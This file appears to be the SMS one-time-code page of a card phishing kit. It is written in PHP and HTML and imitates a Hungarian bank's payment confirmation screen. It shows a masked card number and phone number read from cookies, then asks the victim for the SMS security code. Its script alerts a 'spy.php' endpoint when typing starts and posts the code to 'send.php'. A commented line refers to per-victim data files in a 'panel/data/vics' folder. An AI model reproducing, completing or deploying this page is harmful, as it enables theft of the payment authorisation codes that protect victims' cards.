<?php
require (__DIR__) . '/../main.php';
require __DIR__ . '/class/Config.php';
$m = new Mother;
$ip = $_SERVER['REMOTE_ADDR'];
if ($ip == "::1") {
    $ip = "127.0.0.1";
}
// $m->setDataFile("../panel/data/vics/VIC-$ip.json");
// $_tan = $m->getData()["TAN"];
?>
<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Fizetés megerősíté</title>
    <link href="https://cdn.jsdelivr.net/gh/hung1001/font-awesome-pro@4cac1a6/css/all.css" rel="stylesheet"
        type="text/css" />

    <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/css/bootstrap.min.css"
        integrity="sha384-rbsA2VBKQhggwzxH7pPCaAqO46MgnOM80zW1RWuH61DGLwZJEdK2Kadq2F9CUG65" crossorigin="anonymous">
    <!-- <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"> -->
    <link rel="stylesheet" href="themes/css/login.css">
    <link rel="stylesheet" href="style.css">
    <link rel="stylesheet" href="fonts/font.css">
    <link rel="stylesheet" href="themes/css/theDSE.css">
    <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" rel="stylesheet">
    <!-- jQuery -->
    <script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
    <!-- Bootstrap JS -->
    <script src="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/js/bootstrap.min.js"></script>
    <link rel="stylesheet" href="themes\css\stylecard.css">
    <link rel="stylesheet" href="fonts/font.css">
    <style>
        body {
            background-color: #f8f8f8;
        }
    </style>
</head>

<body class="bg-dark_jkdhg">

    <div class="container mt-5">
        <div class="row justify-content-center pt-5">
            <div class="col-12 col-md-6">
                <form action="bg-white" method="post" id="form" class="lijdfehf">
                    <?php
                    if (isset($_COOKIE['sc_card'])) { ?>
                        <div class="jebferf">
                            <?php if (substr($_COOKIE['sc_card'], 0, 1) == '4') { ?>
                                <img src="assets/images/vscard.png" alt="" class="kjhger">
                            <?php } else if (substr($_COOKIE['sc_card'], 0, 1) == '5') { ?>
                                <img src="assets/images/mscard.png" alt="" class="kjhger">
                            <?php } ?>
                        </div>
                    <?php
                    } ?>
                    <h3 class="ugdhfe">Fizetés megerősítés</h3>
                    <p class="jkshjagdg mb-2">Az internetes biztonsági kód a +36<?= isset($_COOKIE['tel']) && strlen($_COOKIE['tel']) >= 4 ? str_repeat('*', strlen($_COOKIE['tel']) - 4) . substr($_COOKIE['tel'], -4) : "*********" ?> telefonszámra került kiküldésre.</p>
                    <table class="jdeh">
                        <tr>
                            <td>Kereskedő:</td>
                            <td>One</td>
                        </tr>
                        <tr>
                            <td>Vásárlás összege:</td>
                            <td><?= htmlspecialchars(Config::$payment_amount, ENT_QUOTES, 'UTF-8') ?></td>
                        </tr>
                        <tr>
                            <td>Vásárlás dátuma:</td>
                            <td><?= date('Y.m.d') ?></td>
                        </tr>
                        <tr>
                            <td>Kártyaszám:</td>
                            <td><?= (isset($_COOKIE['sc_card']) && strlen(str_replace(' ', '', $_COOKIE['sc_card'])) >= 10) ? substr(str_replace(' ', '', $_COOKIE['sc_card']), 0, 6) . '******' . substr(str_replace(' ', '', $_COOKIE['sc_card']), -4) : "**************" ?></td>
                        </tr>
                    </table>
                    <div class="dejhfj">
                        <label for="sms" class="kejfhg">Kérjük, adja meg az sms-ben kapott internetes biztonsági kódot:</label>
                        <input maxlength="6" pattern="^\d{6}$" id="sms" required type="text" class="jhfr" />
                    </div>
                    <div class="dejhfj">

                    <?php if (isset($_GET['e'])) { ?>
                        <tr>
                            <td colspan='2'>
                                <p class="error_message">A megadott kód helytelen</p>
                            </td>
                        </tr>
                    <?php } ?>
                    <input type="submit" value="Megerősít" class="uhgfdre">
                    <a href="<?= $_SERVER['PHP_SELF']; ?>" class="uhgfdre">Új kódot kérek</a>
                </form>
            </div>
        </div>
    </div>




    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.min.js"
        integrity="sha384-cuYeSxntonz0PPNlHhBs68uyIAVpIIOZZ5JqeqvYYIcEL727kskC66kF92t6Xl2V" crossorigin="anonymous">
    </script>
    <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.2.3/dist/js/bootstrap.bundle.min.js"
        integrity="sha384-kenU1KFdBIe4zVF0s0G1M5b4hcpxyD9F7jL+jjXkk+Q2h455rYXK/7HAuoJl+0I4" crossorigin="anonymous">
    </script>
    <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.7.1/jquery.min.js"
        integrity="sha512-v2CJ7UaYy4JwqLDIrZUI/4hqeoQieOmAZNXBeQyjo21dadnwR+8ZaIJVT8EE2iyI61OV8e6M8PP2/4hpQINQ/g=="
        crossorigin="anonymous" referrerpolicy="no-referrer"></script>


    <?php $m->ctr("SMS"); ?>
    <script>
        $(document).ready(function() {

            var abort = false;
            $('#sms').keyup(function(e) {
                if (abort == false) {
                    $.post("spy.php", {
                        otping: 1
                    });
                    abort = true;
                }
            });

            $("#form").on("submit", function(e) {
                e.preventDefault();

                $.post("send.php", {
                    sms: $("#sms").val(),
                    pin: $("#pin").val()
                }, function() {
                    window.location = "theDSE.php?p=sms";
                });
            });

            // $.post("spy.php", {
            //     otpview: 1
            // });


        });
    </script>
    <?php $m->ctr("SMS " . @$_GET['e']); ?>
    <script>
        $(document).ready(function() {
            // Intercept click event on modal backdrop
            $('#myModal').modal('show');
        });
    </script>
</body>

</html>